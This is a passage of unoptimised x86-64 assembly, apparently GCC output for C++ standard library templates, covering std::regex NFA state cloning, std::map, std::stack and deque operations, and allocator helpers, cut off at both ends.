QWORD PTR [rbp-120], rdi mov QWORD PTR [rbp-128], rsi mov QWORD PTR [rbp-136], rdx mov eax, ecx mov BYTE PTR [rbp-140], al lea rax, [rbp-112] mov esi, 2 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE mov rax, QWORD PTR [rbp-128] mov QWORD PTR [rbp-104], rax mov rax, QWORD PTR [rbp-136] mov QWORD PTR [rbp-96], rax movzx eax, BYTE PTR [rbp-140] mov BYTE PTR [rbp-88], al lea rax, [rbp-112] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L1645 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1645: add rsp, 136 pop rbx pop rbp ret _ZNSt8_Rb_treeIlSt4pairIKllESt10_Select1stIS2_ESt4lessIlESaIS2_EE13_Rb_tree_implIS6_Lb1EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaISt13_Rb_tree_nodeISt4pairIKllEEED2Ev nop leave ret _ZNSt8_Rb_treeIlSt4pairIKllESt10_Select1stIS2_ESt4lessIlESaIS2_EEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8_Rb_treeIlSt4pairIKllESt10_Select1stIS2_ESt4lessIlESaIS2_EE13_Rb_tree_implIS6_Lb1EEC1Ev nop leave ret _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8_Rb_treeIlSt4pairIKllESt10_Select1stIS2_ESt4lessIlESaIS2_EEC1Ev nop leave ret _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8_Rb_treeIlSt4pairIKllESt10_Select1stIS2_ESt4lessIlESaIS2_EED1Ev nop leave ret _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE8_M_cloneEv: push rbp mov rbp, rsp push rbx sub rsp, 328 mov QWORD PTR [rbp-328], rdi mov QWORD PTR [rbp-336], rsi lea rax, [rbp-144] mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEC1Ev lea rax, [rbp-224] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEEC1IS2_vEEv mov rax, QWORD PTR [rbp-336] lea rdx, [rax+8] lea rax, [rbp-224] mov rsi, rdx mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE4pushERKl .L1662: lea rax, [rbp-224] mov rdi, rax call _ZNKSt5stackIlSt5dequeIlSaIlEEE5emptyEv xor eax, 1 test al, al je .L1651 lea rax, [rbp-224] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE3topEv mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-232], rax lea rax, [rbp-224] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE3popEv mov rax, QWORD PTR [rbp-336] mov rax, QWORD PTR [rax] add rax, 56 mov rdx, QWORD PTR [rbp-232] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdx, rax lea rax, [rbp-320] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1ERKS1_ mov rax, QWORD PTR [rbp-336] mov rbx, QWORD PTR [rax] lea rax, [rbp-320] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-96] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov QWORD PTR [rbp-24], rax lea rax, [rbp-96] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rbx, QWORD PTR [rbp-24] lea rdx, [rbp-232] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEixERS3_ mov QWORD PTR [rax], rbx lea rax, [rbp-320] mov rdi, rax call _ZNSt8__detail11_State_base10_M_has_altEv test al, al je .L1652 mov rax, QWORD PTR [rbp-304] cmp rax, -1 je .L1653 lea rax, [rbp-320] lea rdx, [rax+16] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNKSt3mapIllSt4lessIlESaISt4pairIKllEEE5countERS3_ test rax, rax jne .L1653 mov eax, 1 jmp .L1654 .L1653: mov eax, 0 .L1654: test al, al je .L1652 lea rax, [rbp-320] lea rdx, [rax+16] lea rax, [rbp-224] mov rsi, rdx mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE4pushERKl .L1652: mov rax, QWORD PTR [rbp-336] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-232] cmp rdx, rax jne .L1655 mov ebx, 0 jmp .L1656 .L1655: mov rax, QWORD PTR [rbp-312] cmp rax, -1 je .L1657 lea rax, [rbp-320] lea rdx, [rax+8] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNKSt3mapIllSt4lessIlESaISt4pairIKllEEE5countERS3_ test rax, rax jne .L1657 mov eax, 1 jmp .L1658 .L1657: mov eax, 0 .L1658: test al, al je .L1659 lea rax, [rbp-320] lea rdx, [rax+8] lea rax, [rbp-224] mov rsi, rdx mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEE4pushERKl .L1659: mov ebx, 1 .L1656: lea rax, [rbp-320] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev cmp ebx, 1 jmp .L1662 .L1651: lea rax, [rbp-144] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEE5beginEv mov QWORD PTR [rbp-264], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEE3endEv mov QWORD PTR [rbp-272], rax .L1666: lea rdx, [rbp-272] lea rax, [rbp-264] mov rsi, rdx mov rdi, rax call _ZNKSt17_Rb_tree_iteratorISt4pairIKllEEneERKS3_ test al, al je .L1663 lea rax, [rbp-264] mov rdi, rax call _ZNKSt17_Rb_tree_iteratorISt4pairIKllEEdeEv mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-256], rax mov QWORD PTR [rbp-248], rdx mov rax, QWORD PTR [rbp-248] mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-336] mov rax, QWORD PTR [rax] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-48] mov rax, QWORD PTR [rax+8] cmp rax, -1 je .L1664 mov rax, QWORD PTR [rbp-48] lea rdx, [rax+8] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEixERS3_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-48] mov QWORD PTR [rax+8], rdx .L1664: mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNSt8__detail11_State_base10_M_has_altEv test al, al je .L1665 mov rax, QWORD PTR [rbp-48] mov rax, QWORD PTR [rax+16] cmp rax, -1 je .L1665 mov rax, QWORD PTR [rbp-48] lea rdx, [rax+16] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEixERS3_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-48] mov QWORD PTR [rax+16], rdx .L1665: lea rax, [rbp-264] mov rdi, rax call _ZNSt17_Rb_tree_iteratorISt4pairIKllEEppEv jmp .L1666 .L1663: mov rax, QWORD PTR [rbp-336] lea rdx, [rax+16] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEixERS3_ mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-336] lea rdx, [rax+8] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEEixERS3_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-336] mov rsi, QWORD PTR [rax] mov rax, QWORD PTR [rbp-328] mov rcx, rbx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEll lea rax, [rbp-224] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEED1Ev lea rax, [rbp-144] mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEED1Ev jmp .L1676 mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev jmp .L1669 mov rbx, rax .L1669: lea rax, [rbp-320] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev jmp .L1670 mov rbx, rax .L1670: lea rax, [rbp-224] mov rdi, rax call _ZNSt5stackIlSt5dequeIlSaIlEEED1Ev jmp .L1671 mov rbx, rax .L1671: lea rax, [rbp-144] mov rdi, rax call _ZNSt3mapIllSt4lessIlESaISt4pairIKllEEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1676: mov rax, QWORD PTR [rbp-328] add rsp, 328 pop rbx pop rbp ret _ZNSt5stackIlSt5dequeIlSaIlEEEC2IS2_vEEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeIlSaIlEEC1Ev nop leave ret _ZNSt5dequeIlSaIlEED2Ev: push rbp mov rbp, rsp push rbx sub rsp, 88 mov QWORD PTR [rbp-88], rdi mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt11_Deque_baseIlSaIlEE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-80] mov rdx, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt5dequeIlSaIlEE3endEv lea rax, [rbp-48] mov rdx, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt5dequeIlSaIlEE5beginEv lea rdx, [rbp-80] lea rsi, [rbp-48] mov rax, QWORD PTR [rbp-88] mov rcx, rbx mov rdi, rax call _ZNSt5dequeIlSaIlEE15_M_destroy_dataESt15_Deque_iteratorIlRlPlES5_RKS0_ mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt11_Deque_baseIlSaIlEED2Ev nop add rsp, 88 pop rbx pop rbp ret _ZNSt5stackIlSt5dequeIlSaIlEEE4pushERKl: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt5dequeIlSaIlEE9push_backERKl nop leave ret _ZNKSt5stackIlSt5dequeIlSaIlEEE5emptyEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt5dequeIlSaIlEE5emptyEv leave ret _ZNSt5stackIlSt5dequeIlSaIlEEE3topEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeIlSaIlEE4backEv leave ret _ZNSt5stackIlSt5dequeIlSaIlEEE3popEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeIlSaIlEE8pop_backEv nop leave ret _ZSt4moveIRlEONSt16remove_referenceIT_E4typeEOS2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt4swapIlENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleIS4_ESt18is_move_assignableIS4_EEE5valueEvE4typeERS4_SE_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt4moveIRlEONSt16remove_referenceIT_E4typeEOS2_ mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRlEONSt16remove_referenceIT_E4typeEOS2_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax], rdx lea rax, [rbp-8] mov rdi, rax call _ZSt4moveIRlEONSt16remove_referenceIT_E4typeEOS2_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rax], rdx nop leave ret _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE9constructIS5_JRKS5_EEEvRS6_PT_DpOT0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt7forwardIRKNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS8_E4typeE mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE9constructIS6_JRKS6_EEEvPT_DpOT0_ nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_push_back_auxIJRKS5_EEEvDpOT_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov esi, 1 mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE22_M_reserve_map_at_backEm mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rdx+72] lea rbx, [rdx+8] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_allocate_nodeEv mov QWORD PTR [rbx], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt7forwardIRKNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS8_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE9constructIS5_JRKS5_EEEvRS6_PT_DpOT0_ mov rax, QWORD PTR [rbp-24] lea rdx, [rax+48] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+72] add rax, 8 mov rsi, rax mov rdi, rdx call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_ mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+56] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+48], rdx nop add rsp, 24 pop rbx pop rbp ret _ZSt7forwardINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS6_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE9constructIS5_JS5_EEEvRS6_PT_DpOT0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt7forwardINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS6_E4typeE mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE9constructIS6_JS6_EEEvPT_DpOT0_ nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_push_back_auxIJS5_EEEvDpOT_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov esi, 1 mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE22_M_reserve_map_at_backEm mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rdx+72] lea rbx, [rdx+8] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_allocate_nodeEv mov QWORD PTR [rbx], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt7forwardINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEOT_RNSt16remove_referenceIS6_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE9constructIS5_JS5_EEEvRS6_PT_DpOT0_ mov rax, QWORD PTR [rbp-24] lea rdx, [rax+48] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+72] add rax, 8 mov rsi, rax mov rdi, rdx call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_ mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+56] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+48], rdx nop add rsp, 24 pop rbx pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE7destroyIS6_EEvPT_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEE10deallocateEPS6_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZN9__gnu_cxx13new_allocatorIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNK9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE8max_sizeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi movabs rax, 768614336404564650 pop rbp ret _ZNSt27__uninitialized_default_n_1ILb0EE18__uninit_default_nIPNSt7__cxx119sub_matchIPKcEEmEET_S8_T0_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rbp-24], rax .L1702: cmp QWORD PTR [rbp-48], 0 je .L1701 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt11__addressofINSt7__cxx119sub_matchIPKcEEEPT_RS5_ mov rdi, rax call _ZSt10_ConstructINSt7__cxx119sub_matchIPKcEEJEEvPT_DpOT0_ sub QWORD PTR [rbp-48], 1 add QWORD PTR [rbp-24], 24 jmp .L1702 .L1701: mov rax, QWORD PTR [rbp-24] jmp .L1708 mov rdi, rax call __cxa_begin_catch mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEEEvT_S6_ call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1708: add rsp, 40 pop rbx pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE8allocateEmPKv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNK9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE8max_sizeEv cmp QWORD PTR [rbp-16], rax seta al test al, al je .L1712 call _ZSt17__throw_bad_allocv .L1712: mov rdx, QWORD PTR [rbp-16] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 mov rdi, rax call _Znwm nop leave ret _ZNSt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEEC2ES5_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx nop pop rbp ret _ZSt18uninitialized_copyISt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEES6_ET0_T_S9_S8_: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-1], 1 mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt20__uninitialized_copyILb0EE13__uninit_copyISt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEES8_EET0_T_SB_SA_ leave ret _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEEC2ERKS5_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNSt16allocator_traitsISaISt4pairIPKciEEE8allocateERS4_m: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEE8allocateEmPKv leave ret _ZNSt27__uninitialized_default_n_1ILb0EE18__uninit_default_nIPSt4pairIPKciEmEET_S7_T0_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rbp-24], rax .L1721: cmp QWORD PTR [rbp-48], 0 je .L1720 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt11__addressofISt4pairIPKciEEPT_RS4_ mov rdi, rax call _ZSt10_ConstructISt4pairIPKciEJEEvPT_DpOT0_ sub QWORD PTR [rbp-48], 1 add QWORD PTR [rbp-24], 16 jmp .L1721 .L1720: mov rax, QWORD PTR [rbp-24] jmp .L1727 mov rdi, rax call __cxa_begin_catch mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIPSt4pairIPKciEEvT_S5_ call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1727: add rsp, 40 pop rbx pop rbp ret _ZNSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEEEC2Ev nop leave ret _ZNSt11_Tuple_implILm0EJPbSt14default_deleteIA_bEEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11_Tuple_implILm1EJSt14default_deleteIA_bEEEC2Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt10_Head_baseILm0EPbLb0EEC2Ev nop leave ret _ZNSt10_Head_baseILm0EPbLb0EE7_M_headERS1_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt11_Tuple_implILm1EJSt14default_deleteIA_bEEE7_M_headERS3_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt10_Head_baseILm1ESt14default_deleteIA_bELb1EE7_M_headERS3_ leave ret _ZSt7forwardIRlEOT_RNSt16remove_referenceIS1_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt7forwardIRKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEOT_RNSt16remove_referenceISA_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt16allocator_traitsISaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEE9constructIS9_JRlRKS8_EEEvRSA_PT_DpOT0_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt7forwardIRKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEOT_RNSt16remove_referenceISA_E4typeE mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRlEOT_RNSt16remove_referenceIS1_E4typeE mov rdx, rax mov rsi, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rcx, rbx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEEE9constructISA_JRlRKS9_EEEvPT_DpOT0_ nop add rsp, 40 pop rbx pop rbp ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE17_M_realloc_insertIJRlRKS7_EEEvN9__gnu_cxx17__normal_iteratorIPS8_SA_EEDpOT_: push rbp mov rbp, rsp push rbx sub rsp, 104 mov QWORD PTR [rbp-88], rdi mov QWORD PTR [rbp-96], rsi mov QWORD PTR [rbp-104], rdx mov QWORD PTR [rbp-112], rcx mov rax, QWORD PTR [rbp-88] mov edx, OFFSET FLAT:.LC24 mov esi, 1 mov rdi, rax call _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE12_M_check_lenEmS4_ mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+8] mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5beginEv mov QWORD PTR [rbp-72], rax lea rdx, [rbp-72] lea rax, [rbp-96] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxmiIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEENS_17__normal_iteratorIT_T0_E15difference_typeERKSH_SK_ mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-32] mov rsi, rdx mov rdi, rax call 